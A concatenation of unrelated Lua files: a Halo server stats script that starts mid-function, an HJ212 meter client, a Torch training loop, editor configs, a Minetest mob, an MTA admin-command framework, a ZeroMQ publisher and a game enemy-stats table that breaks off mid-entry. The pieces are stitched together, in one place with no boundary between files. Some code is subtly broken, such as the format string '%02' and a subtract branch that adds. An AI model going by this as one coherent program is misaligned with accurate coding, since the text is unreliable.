elseif killstats[hash].total.rank == "Field Marshall" then
return 3700000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Hero" then
return 4600000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Legend" then
return 5650000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Mythic" then
return 7000000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Noble" then
return 8500000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Eclipse" then
return 11000000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Nova" then
return 13000000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Forerunner" then
return 16500000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Reclaimer" then
return 20000000 - killstats[hash].total.credits
elseif killstats[hash].total.rank == "Inheritor" then
return "Ranks Complete"
end
end
function RuleTimer(id, count)
local number = getvalidcount(count)
if number ~= nil then
if number == 1 then
say("Blocking Ports / Pathways / Tunnels, Glitching into rocks/trees/out of map is not allowed.")
elseif number == 2 then
say("Team Grenading / Flipping / Shooting / Meleeing / Ramming is not allowed.")
elseif number == 3 then
say("Type \"@stuck\" for more indepth rules")
elseif number == 4 then
say("If you get stuck, you can type \"@stuck\" to find a way out.")
elseif number == 5 then
say("Type \"@info\" for all the commands to view your stats.")
end
end
return true
end
function getvalidcount(count)
local number = nil
if table.find({ "180", "360", "540", "720", "900", "1080" }, count) then
number = 1
elseif table.find({ "182", "362", "542", "722", "902", "1082" }, count) then
number = 2
elseif table.find({ "184", "364", "544", "724", "904", "1084" }, count) then
number = 3
elseif table.find({ "186", "366", "546", "726", "906", "1086" }, count) then
number = 4
elseif table.find({ "188", "368", "548", "728", "908", "1088" }, count) then
number = 5
end
return number
end
function secondsToTime(seconds, places)
local years = math.floor(seconds / (60 * 60 * 24 * 365))
seconds = seconds % (60 * 60 * 24 * 365)
local weeks = math.floor(seconds / (60 * 60 * 24 * 7))
seconds = seconds % (60 * 60 * 24 * 7)
local days = math.floor(seconds / (60 * 60 * 24))
seconds = seconds % (60 * 60 * 24)
local hours = math.floor(seconds / (60 * 60))
seconds = seconds % (60 * 60)
local minutes = math.floor(seconds / 60)
seconds = seconds % 60
if places == 6 then
return string.format("%02d:%02d:%02d:%02d:%02d:%02d", years, weeks, days, hours, minutes, seconds)
elseif places == 5 then
return string.format("%02d:%02d:%02d:%02d:%02d", weeks, days, hours, minutes, seconds)
elseif not places or places == 4 then
return days, hours, minutes, seconds
elseif places == 3 then
return string.format("%02d:%02d:%02d", hours, minutes, seconds)
elseif places == 2 then
return string.format("%02d:%02d", minutes, seconds)
elseif places == 1 then
return string.format("%02", seconds)
end
end
WriteLog = function(filename, value)
local dir = getprofilepath() .. "\\logs\\"
local file = io.open(dir .. filename, "a")
if file then
local timestamp = os.date("%Y/%m/%d %H:%M:%S")
local line = string.format("%s\t%s\n", timestamp, tostring(value))
file:write(line)
file:close()
end
end
function setscore(player, score)
if tonumber(score) then
if gametype == 1 then
-- CTF
local m_player = getplayer(player)
if score >= 0x7FFF then
writewordsigned(m_player + 0xC8, 0x0, 0x7FFF)
elseif score <= -0x7FFF then
writewordsigned(m_player + 0xC8, 0x0, -0x7FFF)
else
writewordsigned(m_player + 0xC8, 0x0, score)
end
elseif gametype == 2 then
-- Slayer
if score >= 0x7FFFFFFF then
writedwordsigned(slayer_globals + 0x40 + player * 4, 0x0, 0x7FFFFFFF)
elseif score <= -0x7FFFFFFF then
writedwordsigned(slayer_globals + 0x40 + player * 4, 0x0, -0x7FFFFFFF)
else
writedwordsigned(slayer_globals + 0x40 + player * 4, 0x0, score)
end
elseif gametype == 3 then
-- Oddball
local oddball_game = readbyte(gametype_base, 0x8C)
if oddball_game == 0 or oddball_game == 1 then
if score * 30 >= 0x7FFFFFFF then
writedwordsigned(oddball_globals + 0x84 + player * 4, 0x0, 0x7FFFFFFF)
elseif score * 30 <= -0x7FFFFFFF then
writedwordsigned(oddball_globals + 0x84 + player * 4, 0x0, -1 * 0x7FFFFFFF)
else
writedwordsigned(oddball_globals + 0x84 + player * 4, 0x0, score * 30)
end
else
if score > 0x7FFFFC17 then
writedwordsigned(oddball_globals + 0x84 + player * 4, 0x0, 0x7FFFFC17)
elseif score <= -0x7FFFFC17 then
writedwordsigned(oddball_globals + 0x84 + player * 4, 0x0, -0x7FFFFC17)
else
writedwordsigned(oddball_globals + 0x84 + player * 4, 0x0, score)
end
end
elseif gametype == 4 then
-- KOTH
local m_player = getplayer(player)
if score * 30 >= 0x7FFF then
writewordsigned(m_player, 0xC4, 0x7FFF)
elseif score * 30 <= -0x7FFF then
writewordsigned(m_player, 0xC4, -0x7FFF)
else
writewordsigned(m_player, 0xC4, score * 30)
end
elseif gametype == 5 then
-- Race
local m_player = getplayer(player)
if score >= 0x7FFF then
writewordsigned(m_player + 0xC6, 0x0, 0x7FFF)
elseif score <= -0x7FFF then
writewordsigned(m_player + 0xC6, 0x0, -0x7FFF)
else
writewordsigned(m_player + 0xC6, 0x0, score)
end
end
end
end
function writewordsigned(address, offset, word)
value = tonumber(word)
if value == nil then
value = tonumber(word, 16)
end
if value and value > 0x7FFF then
local max = 0xFFFF
local difference = max - value
value = -1 - difference
end
writeword(address, offset, value)
end
function writedwordsigned(address, offset, dword)
value = tonumber(dword)
if value == nil then
value = tonumber(dword, 16)
end
if value and value > 0x7FFFFFFF then
local max = 0xFFFFFFFF
local difference = max - value
value = -1 - difference
end
writedword(address, offset, value)
end
function changescore(player, number, type)
local m_player = getplayer(player)
if m_player then
local player_flag_scores = readword(m_player + 0xC8)
if type == plus or type == add then
local score = player_flag_scores + number
setscore(player, score)
elseif type == take or type == minus or type == subtract then
local score = player_flag_scores + math.abs(number)
setscore(player, score)
end
end
end
function readstring(address, length, endian)
local char_table = { }
local string = ""
local offset = offset or 0x0
if length == nil then
if readbyte(address + offset + 1) == 0 and readbyte(address + offset) ~= 0 then
length = 51000
else
length = 256
end
end
for i = 0, length do
if readbyte(address + (offset + i)) ~= 0 then
table.insert(char_table, string.char(readbyte(address + (offset + i))))
elseif i % 2 == 0 and readbyte(address + offset + i) == 0 then
break
end
end
for k, v in pairs(char_table) do
if endian == 1 then
string = v .. string
else
string = string .. v
end
end
return string
end
-- Credits to the original creator(s): {FC}[Z�]SlimJim
-- Credits to Kennan for what ever he did to it.
-- This script has been modified and formatted to work as an independant Stats Script, code extracted from the original Zombies & Vehicles Script
-- Put together by: Chalwk: (Jericho Crosby) |
local ioe = require 'ioe'
local types = require 'hj212.types'
local tag_finder = require 'hj212.tags.finder'
local base = require 'hj212.server.client'
local cjson = require 'cjson.safe'
local TAG_INFO = {}
local function create_tag_input(tag_name)
if TAG_INFO[tag_name] then
return TAG_INFO[tag_name]
end
local tag = tag_finder(tag_name)
if not tag then
TAG_INFO[tag_name] = {
name = tag_name,
desc = tag_name,
vt = 'string'
}
else
local vt = 'string'
if tag.format and string.sub(tag.format, 1, 1) == 'N' then
vt = 'float'
end
TAG_INFO[tag_name] = {
name = tag_name,
desc = tag.desc,
unit = tag.unit,
vt = vt
}
end
return TAG_INFO[tag_name]
end
local function create_tag_info(tag_name, info_name)
local tag_name = tag_name .. '_' .. info_name
if TAG_INFO[tag_name] then
return TAG_INFO[tag_name]
end
local tag = tag_finder(info_name)
if not tag then
TAG_INFO[tag_name] = {
name = tag_name,
desc = tag_name,
vt = 'string',
}
else
local vt = 'string'
if tag.format and string.sub(tag.format, 1, 1) == 'N' then
vt = 'float'
end
TAG_INFO[tag_name] = {
name = tag_name,
desc = tag.desc,
unit = tag.unit,
vt = vt
}
end
return TAG_INFO[tag_name]
end
local client = base:subclass('hj212_server.server.client.base')
function client:initialize(server, pfuncs)
base.initialize(self, pfuncs)
self._server = server
self._sn = nil
self._log = server:log_api()
self._meter_rs = nil -- unknown
self._rdata_map = {}
self._inputs = {
{ name = 'RS', desc = 'Meter state', vt = 'int' },
}
self._inputs_changed = true
self._inputs_cov = {}
self._info_map = {}
self._info_cov = {}
self:add_handler('handler')
end
function client:sn()
return self._sn
end
function client:set_sn(sn)
self._sn = sn
end
function client:timeout()
return 3000
end
function client:retry()
return 3
end
function client:set_dev(dev)
self._dev = dev
end
function client:log_api()
return self._server:log_api()
end
function client:sys_api()
return self._server:sys_api()
end
function client:dump_raw(io, data)
return self._server:dump_raw(self._sn, io, data)
end
function client:log(level, ...)
local f = self._log[level] or self._log.debug
return f(self._log, ...)
end
function client:server()
return self._server
end
function client:on_station_create(system, dev_id, passwd, ver)
return self._server:create_station(self, system, dev_id, passwd, ver)
end
function client:on_disconnect()
local now = ioe.time()
self._meter_rs = nil
self._dev:set_input_prop('RS', 'value', types.RS.Stoped, now, -1)
for name, rdata in pairs(self._rdata_map) do
self._dev:set_input_prop(name, 'value', rdata.value, now, -1)
self._dev:set_input_prop(name, 'RDATA', cjson.encode(rdata), now, -1)
end
return self._server:on_disconnect(self)
end
function client:on_rdata(name, rdata)
if not self._rdata_map[name] then
self._inputs_changed = true
table.insert(self._inputs, create_tag_input(name))
end
table.insert(self._inputs_cov, name)
self._rdata_map[name] = {
value = assert(rdata.Rtd),
value_z = rdata.ZsRtd,
value_src = rdata.RtdSrc,
timestamp = rdata.SampleTime,
flag = rdata.Flag or self:rs_flag()
}
if not self._meter_rs and (not rdata.Flag or rdata.Flag == 'N') then
self._meter_rs = types.RS.Normal
self._dev:set_input_prop('RS', 'value', self._meter_rs)
end
end
function client:on_info(name, info_list, no_cov)
local changed = false
local info = self._info_map[name]
if not info then
self._info_map[name] = {}
info = self._info_map[name]
changed = true
end
for k, v in pairs(info_list) do
if info[k] == nil then
self._inputs_changed = true
table.insert(self._inputs, create_tag_info(name, k))
end
info[k] = v
end
for _, v in ipairs(self._info_cov) do
if v == name then
return
end
end
table.insert(self._info_cov, name)
end
function client:on_run()
if self._inputs_changed then
self._inputs_changed = nil
self._dev:mod(self._inputs)
self._dev:set_input_prop('RS', 'value', self._meter_rs ~= nil and self._meter_rs or types.RS.Stoped)
end
for _, name in ipairs(self._inputs_cov) do
local rdata = self._rdata_map[name]
local quality = (self._meter_rs and self._meter_rs ~= types.RS.Normal) and self._meter_rs or nil
self._dev:set_input_prop(name, 'value', rdata.value, nil, quality)
self._dev:set_input_prop(name, 'RDATA', rdata, rdata.timestamp)
end
for _, name in ipairs(self._info_cov) do
local info_list = self._info_map[name]
--print('INFO', name, cjson.encode(info_list))
self._dev:set_input_prop(name, 'INFO', info_list)
for k, v in pairs(info_list) do
self._dev:set_input_prop(name..'_'..k, 'value', v)
end
end
self._inputs_cov = {}
self._info_cov = {}
end
function client:set_meter_rs(rs, fire_rdata)
assert(rs)
self._meter_rs = rs
self._dev:set_input_prop('RS', 'value', self._meter_rs)
if fire_rdata then
for name, rdata in pairs(self._rdata_map) do
table.insert(self._inputs_cov, name)
end
end
end
function client:rs_flag()
if not self._meter_rs then
return nil
end
if self._meter_rs == types.RS.Normal then
return nil -- unset the flag
end
if self._meter_rs == types.RS.Stoped then
return types.FLAG.Stoped
end
if self._meter_rs == types.RS.Calibration then
return types.FLAG.Calibration
end
if self._meter_rs == types.RS.Maintain then
return types.FLAG.Maintain
end
if self._meter_rs == types.RS.Alarm then
return types.FLAG.Error
end
if self._meter_rs == types.RS.Clean then
return types.FLAG.Calibration
end
return types.FLAG.Error
end
return client
|
local x = 0
local x2 = 0
for a=1,25 do
for b=1,25 do
for c=1,25 do
for d=1,25 do
for e=1,25 do
for f=1,25 do
--io.write(a,",",b,",",c,",",d,",",e,",",f,",",x,"\n")
x = x + 1
x2 = x2 + a + b + c + d + e + f
end
end
end
end
end
end
--print(a,",",b,",",c,",",d,",",e,",",f,",",x,"\n")
io.write(x,"\n")
io.write(x2,"\n")
|
EPOCH = OPT.epochNumber
local best_performance = 0
local train_performance = 0
local eval_performance = 0
local test_performance = 0
for i=OPT.epochNumber, OPT.nEpochs do
if OPT.train then
train_performance = train()
end
if OPT.eval and (i == OPT.nEpochs or i % OPT.nEpochsEval == 0) then
eval_performance = eval()
end
if OPT.test and (i == OPT.nEpochs or i % OPT.nEpochsTest == 0) then
test_performance = test()
end
-- Save the model
if OPT.saveBest then
-- assume larger the performance, better the performance
if best_performance < eval_performance then
best_performance = eval_performance
saveDataParallel(paths.concat(OPT.save, 'best_model.t7'), MODEL)
end
end
if (OPT.train
and OPT.nEpochsSave > 0
and (i == OPT.nEpochs or i % OPT.nEpochsSave == 0)) then
saveDataParallel(paths.concat(OPT.save, 'model_' .. EPOCH .. '.t7'), MODEL)
end
EPOCH = EPOCH + 1
end
|
require('lspconfig').pylsp.setup({
on_attach = require('plugins').lsp_on_attach,
capabilities = require('plugins').lsp_capabilities
})
|
mobs:register_mob("mobs:stone_monster", {
type = "monster",
hp_min = 12,
hp_max = 35,
exp_min = 3,
exp_max = 55,
collisionbox = {-0.4, -0.01, -0.4, 0.4, 1.9, 0.4},
visual = "mesh",
mesh = "mobs_stone_monster.x",
textures = {"mobs_stone_monster.png"},
visual_size = {x=3, y=2.6},
makes_footstep_sound = true,
view_range = 10,
walk_velocity = 0.5,
run_velocity = 2,
damage = 3,
drops = {
{name = "default:torch",
chance = 70,
min = 3,
max = 5,},
{name = "default:iron_lump",
chance=50,
min=1,
max=2,},
{name = "default:coal_lump",
chance=50,
min=1,
max=3,},
},
light_resistant = true,
armor = 80,
drawtype = "front",
water_damage = 0,
lava_damage = 0,
light_damage = 0,
attack_type = "dogfight",
animation = {
speed_normal = 15,
speed_run = 15,
stand_start = 0,
stand_end = 14,
walk_start = 15,
walk_end = 38,
run_start = 40,
run_end = 63,
punch_start = 40,
punch_end = 63,
},
sounds = {
attack = "mobs_stone_attack",
death = "mobs_stone_death",
random = "mobs_stone",
},
step = 0.5,
})
mobs:register_spawn("mobs:stone_monster", {"default:stone"}, 7, -1, 8000, 3, 0) |
function onCreate()
setProperty('dad.x',40)
setProperty('dad.y',-55)
end |
local Symbol = require(script.Parent.Symbol)
-- Marker used to specify that the value is nothing, because nil cannot be
-- stored in tables.
local None = Symbol.named("None")
return None
|
--[[
quads0
Author: Colton Ogden
[email protected]
Demonstrates simply drawing a texture.
]]
-- Don't do this in a "real" project, I've only done this so we don't need
-- to have copies of the extra libraries in every directory. Best practice is
-- to set things up so your project works with the default package.path, or
-- to only add paths that are inside your package directory. - Chris H.
package.path = package.path .. ';../../common/?/?.lua;../../common/?/init.lua'
package.path = package.path .. ';../../common/hump/?.lua'
package.path = package.path .. ';../../common/knife/?.lua'
push = require 'push'
function love.load()
love.graphics.setDefaultFilter('nearest', 'nearest')
texture = love.graphics.newImage('match3.png')
push:setupScreen(512, 288, 1280, 720, {
fullscreen = false
})
end
function love.keypressed(key)
if key == 'escape' then
love.event.quit()
end
end
function love.draw()
push:start()
love.graphics.draw(texture)
push:finish()
end
|
local function from_part(part: BasePart): Region3
return Region3.new(part.Position - part.Size/2, part.Position + part.Size/2)
end
return from_part |
local ANONYMOUS_NAME = "Admin"
local PUBLIC_MESSAGE_DEFAULT_COLOR = COLORS.yellow
local FIND_LOGS_LIMIT = 50
addEvent("gra.cCommands.execute", true)
local commandsData = {}
local hcCommandsData = {}
local function getAdminGroups(element)
local groups = {}
for i, group in ipairs(getObjectACLGroups(element)) do
groups[i] = aclGroupGetName(group)
end
return groups
end
local function formatMessage(message, admin, player)
local anonymous = cPersonalSettings.get(admin, "anonymous")
local adminName = anonymous and ANONYMOUS_NAME or getPlayerName(admin)
local playerName = player and getPlayerName(player) or "player"
message = message
:gsub("%$player", playerName)
:gsub("%$admin", adminName)
return message
end
local function outputConsoleLog(admin, commandName, description)
local message = string.format(
"COMMANDS: %s: %s BY (%s) %s (Account: '%s' Serial: %s)",
commandName, description,
table.concat(getAdminGroups(admin), ", "), getPlayerName(admin),
getPlayerAccountName(admin) or NIL_TEXT, admin == console and NIL_TEXT or getPlayerSerial(admin)
)
return cMessages.outputConsole(message)
end
local function outputDBLog(admin, commandName, description)
return cDB.exec(
[[
INSERT INTO command_logs (
timestamp, command,
serial, account, name, plain_name, groups,
description
) VALUES (?,?,?,?,?,?,?,?)
]],
getRealTime().timestamp, commandName,
admin == console and "0" or getPlayerSerial(admin),
getPlayerAccountName(admin) or nil,
getPlayerName(admin), getPlayerName(admin, true),
toJSON(getAdminGroups(admin)),
description
)
end
local argParsers = {
["s"] = function(arg) return arg end,
["n"] = function(arg) return tonumber(arg) end,
["b"] = function(arg) return arg == "yes" end,
["nil"] = function(arg) return arg == "none" end,
["s-"] = function(args) return table.concat(args, " ") end,
["ts-"] = function(args) return args end,
["tn-"] = function(args)
for i, arg in ipairs(args) do
args[i] = tonumber(arg)
if not args[i] then return false end
end
return args
end,
["se"] = function(arg) return isValidSerial(arg) and utf8.upper(arg) end,
["ip"] = function(arg) return isValidIP(arg) and arg end,
["du"] = function(arg) return parseDuration(arg) end,
["byte"] = function(arg)
arg = tonumber(arg)
if not arg then return false end
return arg >= 0 and arg <= 255 and arg
end,
["P"] = function(arg)
local players = getPlayersByPartialName(arg)
if not players then return false end
if #players == 0 then return false end
if #players > 1 then
return false, #players.." players found"
end
return players[1]
end,
["T"] = function(arg) return getTeamFromName(arg) end,
["R"] = function(arg) return getResourceFromName(arg) end,
["ven"] = function(arg) return getVehicleModelFromPartialName(utf8.gsub(arg, "_", " ")) end,
["wen"] = function(arg) return getWeaponIDFromPartialName(utf8.gsub(arg, "_", " ")) end,
["skn"] = function(arg) return getPedModelFromPartialName(utf8.gsub(arg, "_", " ")) end,
["fin"] = function(arg) return getFightingStyleFromPartialName(utf8.gsub(arg, "_", " ")) end,
["wan"] = function(arg) return getWalkingStyleFromPartialName(utf8.gsub(arg, "_", " ")) end,
["stn"] = function(arg) return getPedStatFromPartialName(utf8.gsub(arg, "_", " ")) end,
["inn"] = function(arg) return getInteriorLocationFromPartialName(utf8.gsub(arg, "_", " ")) end,
["wrn"] = function(arg) return getWeatherFromPartialName(utf8.gsub(arg, "_", " ")) end,
}
local function parseArgs(commandName, ...)
local args = table.pack(...)
local commandData = commandsData[commandName]
local result = {}
for i, variants in ipairs(commandData.types) do
local arg = args[i]
if not arg then
if i >= commandData.opt then return result end
return false, string.format("* Syntax: %s %s", commandName, commandData.syntax)
end
if utf8.match(variants[1], "-$") then
arg = {}
for ia = i, args.n do
table.insert(arg, args[ia])
end
end
local parsed, msg = false, nil
local isFalse, isNil = false, false
for iv, variant in ipairs(variants) do
if variant == "b" and arg == "no" then
isFalse = true
parsed = false
elseif variant == "nil" and arg == "none" then
isNil = true
parsed = nil
else
parsed, msg = argParsers[variant](arg)
end
if parsed or isNil or isFalse then break end
end
if not (parsed or isFalse or isNil) then
msg = string.format("%s: invalid %s (arg #%d)", commandName, table.concat(commandData.names[i], "/")..(msg and " ("..msg..")" or ""), i)
return false, msg
end
result[i] = parsed
end
return result
end
local function parseSyntax(pattern)
local argTypes = {}
local argNames = {}
local optionalPos = 1
local syntax = ""
if not pattern then return argTypes, argNames, optionalPos, syntax end
local args = split(pattern, ",")
optionalPos = #args + 1
for i, one in ipairs(args) do
if utf8.match(one, "^%[") then
one = utf8.gsub(one, "^%[", "")
args[i] = one
optionalPos = i
syntax = syntax.."["
end
argTypes[i] = {}
argNames[i] = {}
syntax = syntax.."<"
for iv, variant in ipairs(split(one, "|")) do
local variantType = utf8.match(variant, ":(.+)$")
if not argParsers[variantType] then error(string.format("parse syntax error: %s type not found", variantType), 3) end
argTypes[i][iv] = variantType
argNames[i][iv] = utf8.match(variant, "^(.+):")
end
syntax = syntax..table.concat(argNames[i], "/")..">"
if i < #args then syntax = syntax.." " end
end
if optionalPos <= #args then
syntax = syntax.."]"
end
return argTypes, argNames, optionalPos, syntax
end
local function mainHandler(admin, commandName, args)
local commandData = commandsData[commandName] or hcCommandsData[commandName]
if not commandData then return warn("command '"..commandName.."' handler not found", 1) and false end
local result, resultMessage, publicMessage, playerMessage = commandData.handler(admin, table.unpack(args))
if result == false then return cMessages.outputAdmin(commandName..": "..(resultMessage or "command failed"), admin, COLORS.red) and false end
local player = args[1] and type(args[1]) == "userdata" and isElement(args[1]) and getElementType(args[1]) == "player" and args[1] or nil
local outputResultMessage = resultMessage and true or false
local logMessage = formatMessage(resultMessage or commandName.." executed successfully", admin, player)
outputConsoleLog(admin, commandName, logMessage)
outputDBLog(admin, commandName, logMessage)
if resultMessage then
cMessages.outputAdmin(formatMessage(resultMessage, admin, player), admin, COLORS.green)
end
if publicMessage and not cPersonalSettings.get(admin, "silent") then
cMessages.outputPublic(formatMessage(publicMessage, admin, player), root, commandData.color or PUBLIC_MESSAGE_DEFAULT_COLOR)
end
if playerMessage and player then
cMessages.outputPublic(formatMessage(playerMessage, admin, player), player, commandData.color or PUBLIC_MESSAGE_DEFAULT_COLOR)
end
return true
end
local function onServerCommand(admin, commandName, ...)
if not hasObjectPermissionTo(admin, GENERAL_PERMISSION, false) then
return cMessages.outputSecurity("COMMANDS: client $v doesn't have permission $v", admin, GENERAL_PERMISSION) and false
end
if not hasObjectPermissionTo(admin, "command."..commandName, false) then
return cMessages.outputSecurity("COMMANDS: client $v doesn't have permission $v", admin, "command."..commandName) and false
end
if not commandsData[commandName] then return warn("command '"..commandName.."' handler not found", 1) and false end
local args, msg = parseArgs(commandName, ...)
if not args then return cMessages.outputAdmin(msg, admin, COLORS.red) and false end
return mainHandler(admin, commandName, args)
end
local function onClientRequest(commandName, ...)
local client = client
if not client then return cMessages.outputSecurity("COMMANDS: client not found") and false end
if source ~= client then return cMessages.outputSecurity("COMMANDS: source $v element is not equal client $v", source, client) and false end
if not hasObjectPermissionTo(client, GENERAL_PERMISSION, false) then
return cMessages.outputSecurity("COMMANDS: client $v doesn't have permission $v", client, GENERAL_PERMISSION) and false
end
if not hasObjectPermissionTo(client, "command."..commandName, false) then
return cMessages.outputSecurity("COMMANDS: client $v doesn't have permission $v", client, "command."..commandName) and false
end
return mainHandler(client, commandName, table.pack(...))
end
cCommands = {}
function cCommands.init()
cDB.exec([[
CREATE TABLE IF NOT EXISTS command_logs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp INTEGER NOT NULL,
command TEXT NOT NULL,
serial TEXT NOT NULL,
account TEXT NOT NULL,
name TEXT NOT NULL,
plain_name TEXT NOT NULL,
groups TEXT NOT NULL,
description TEXT
)
]])
local publicPermissions = getObjectPermissions("user.*", "command")
for commandName, commandData in pairs(commandsData) do
if table.index(publicPermissions, "command."..commandName) then
cMessages.outputSecurity("COMMANDS: all users have permission to command $v (fix your ACL)", commandName)
end
addCommandHandler(commandName, onServerCommand, true, true)
end
for commandName, commandData in pairs(hcCommandsData) do
if table.index(publicPermissions, "command."..commandName) then
cMessages.outputSecurity("COMMANDS: all users have permission to hardcoded command $v (fix your ACL)", commandName)
end
end
addEventHandler("gra.cCommands.execute", root, onClientRequest)
return true
end
function cCommands.add(commandName, handlerFunction, pattern, description, color, aliases)
if not scheck("s,f,?s[2],?t") then return false end
if commandsData[commandName] then return warn("command '"..commandName.."' handler is already added", 2) and false end
if hcCommandsData[commandName] then return warn("hardcoded command '"..commandName.."' handler is already added", 2) and false end
local argTypes, argNames, optionalPos, syntax = parseSyntax(pattern)
commandsData[commandName] = {
handler = handlerFunction,
types = argTypes,
names = argNames,
opt = optionalPos,
syntax = syntax,
desc = description,
color = color,
aliases = aliases
}
return true
end
-- need for client execute requests (see "gra.cCommands.execute" event)
function cCommands.addHardCoded(commandName, handlerFunction, color)
if not scheck("s,f,?t") then return false end
if hcCommandsData[commandName] then return warn("hardcoded command '"..commandName.."' handler is already added", 2) and false end
if commandsData[commandName] then return warn("command '"..commandName.."' handler is already added", 2) and false end
hcCommandsData[commandName] = {
handler = handlerFunction,
color = color,
}
return true
end
function cCommands.findLogs(filter, lastID)
if not scheck("?t,?n") then return false end
filter = filter or {}
local query = cDB.prepare("SELECT * FROM command_logs WHERE id > ?", lastID or 0)
if filter.since then query = query..cDB.prepare(" AND timestamp > ?", filter.since) end
if filter.before then query = query..cDB.prepare(" AND timestamp < ?", filter.before) end
if filter.command then query = query..cDB.prepare(" AND command LIKE ?", "%"..filter.command.."%") end
if filter.serial then query = query..cDB.prepare(" AND serial LIKE ?", "%"..filter.serial.."%") end
if filter.account then query = query..cDB.prepare(" AND account LIKE ?", "%"..filter.account.."%") end
if filter.name then query = query..cDB.prepare(" AND plain_name LIKE ?", "%"..filter.name.."%") end
if filter.group then query = query..cDB.prepare(" AND groups LIKE ?", "%"..filter.group.."%") end
query = query..cDB.prepare(" LIMIT ?", FIND_LOGS_LIMIT)
local result = cDB.query(query)
if not result then return result end
for i, row in ipairs(result) do
row.groups = row.groups and fromJSON(row.groups) or nil
end
return result
end |
local h = require("null-ls.helpers")
local methods = require("null-ls.methods")
local DIAGNOSTICS = methods.internal.DIAGNOSTICS
return h.make_builtin({
name = "clang_tidy",
method = DIAGNOSTICS,
filetypes = { "cpp", "c" },
generator_opts = {
command = "clang-tidy",
args = {
"--quiet",
"--checks=-*,modernize-*",
"$FILENAME",
},
to_stdin = false,
from_stderr = false,
format = "line",
on_output = h.diagnostics.from_pattern(
"(%d+):(%d+): (%w+): (.*) %[(.*)%]",
{ "row", "col", "severity", "message", "code" },
{
severities = {
note = h.diagnostics.severities["information"],
style = h.diagnostics.severities["hint"],
performance = h.diagnostics.severities["warning"],
portability = h.diagnostics.severities["information"],
},
}
),
},
factory = h.generator_factory,
})
|
local spell = {}
spell = {}
spell["numericaltype"] = [[Percentage]]
spell["element"] = [[Support]]
--a function: cost
spell["desc"] = [[Raises damage done with rapiers]]
--a function: numberofhits
spell["conditional"] = [[if self.weapon.type IS HSWD]]
--a function: hitchance
spell["target"] = [[Self]]
spell["passive"] = true
--a function: statuschance
spell["name"] = [[1h Swd Master]]
--a function: status
spell["targetattribute"] = [[Attack]]
spell["numericalvalue"] = 100
--a function: costtype
return spell
|
require 'lubyk'
flooder = zmq.Pub()
print(flooder:port())
i = 0
while true do
i = i + 1
flooder:send(i, math.random())
end
|
pg = pg or {}
pg.enemy_data_statistics_200 = {
[12300209] = {
cannon = 31,
hit_growth = 210,
rarity = 3,
speed_growth = 0,
pilot_ai_template_id = 10001,
air = 0,
luck = 0,
dodge = 3,
cannon_growth = 2592,
speed = 18,
reload = 150,
reload_growth = 0,
dodge_growth = 48,
id = 12300209,
star = 4,
hit = 14,
antisub_growth = 0,
air_growth = 0,
torpedo = 0,
base = 225,
durability = 1360,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
battle_unit_type = 65,
armor = 0,
durability_growth = 59840,
antiaircraft = 45,
antisub = 0,
antiaircraft_growth = 3744,
appear_fx = {
"appearQ"
},
equipment_list = {
1100021,
1100626,
1100041,
1100731
},
buff_list = {
{
ID = 50510,
LV = 2
}
}
},
[12300210] = {
cannon = 0,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 10001,
air = 44,
rarity = 3,
dodge = 5,
torpedo = 0,
durability_growth = 54400,
antiaircraft = 45,
reload_growth = 0,
dodge_growth = 72,
hit_growth = 210,
star = 4,
hit = 14,
antisub_growth = 0,
air_growth = 3627,
battle_unit_type = 70,
base = 237,
durability = 1070,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
speed = 18,
luck = 0,
id = 12300210,
antiaircraft_growth = 3744,
antisub = 0,
armor = 0,
appear_fx = {
"appearQ"
},
equipment_list = {
1100021,
1100171,
1100796,
1100801,
1100806
}
},
[12300211] = {
cannon = 0,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 20001,
air = 0,
rarity = 1,
dodge = 0,
torpedo = 0,
durability_growth = 6800,
antiaircraft = 0,
reload_growth = 0,
dodge_growth = 0,
speed = 30,
star = 1,
hit = 8,
antisub_growth = 0,
air_growth = 0,
hit_growth = 120,
base = 90,
durability = 700,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
antiaircraft_growth = 0,
luck = 0,
battle_unit_type = 20,
id = 12300211,
antisub = 0,
armor = 0,
appear_fx = {
"appearsmall"
}
},
[12300212] = {
cannon = 0,
battle_unit_type = 35,
rarity = 1,
speed_growth = 0,
pilot_ai_template_id = 20001,
air = 0,
luck = 0,
dodge = 0,
wave_fx = "danchuanlanghuaxiao2",
cannon_growth = 0,
speed = 15,
reload_growth = 0,
dodge_growth = 0,
id = 12300212,
star = 1,
hit = 8,
antisub_growth = 0,
air_growth = 0,
reload = 150,
base = 70,
durability = 265,
armor_growth = 0,
torpedo_growth = 864,
luck_growth = 0,
hit_growth = 120,
armor = 0,
torpedo = 30,
durability_growth = 2550,
antisub = 0,
antiaircraft = 0,
antiaircraft_growth = 0,
appear_fx = {
"appearsmall"
},
equipment_list = {
1000861
}
},
[12300213] = {
cannon = 50,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 80000,
air = 0,
rarity = 1,
dodge = 0,
torpedo = 100,
durability_growth = 2550,
antiaircraft = 0,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 1200,
star = 1,
hit = 81,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 15,
base = 80,
durability = 70,
armor_growth = 0,
torpedo_growth = 1080,
luck_growth = 0,
speed = 30,
luck = 0,
id = 12300213,
antiaircraft_growth = 0,
antisub = 0,
armor = 0,
appear_fx = {
"appearsmall"
},
equipment_list = {
1000866
}
},
[12300214] = {
cannon = 5,
reload = 150,
speed_growth = 0,
cannon_growth = 300,
pilot_ai_template_id = 10002,
air = 0,
rarity = 1,
dodge = 0,
torpedo = 38,
durability_growth = 2250,
antiaircraft = 0,
reload_growth = 0,
dodge_growth = 0,
hit_growth = 120,
star = 2,
hit = 8,
antisub_growth = 0,
air_growth = 0,
battle_unit_type = 55,
base = 129,
durability = 80,
armor_growth = 0,
torpedo_growth = 3600,
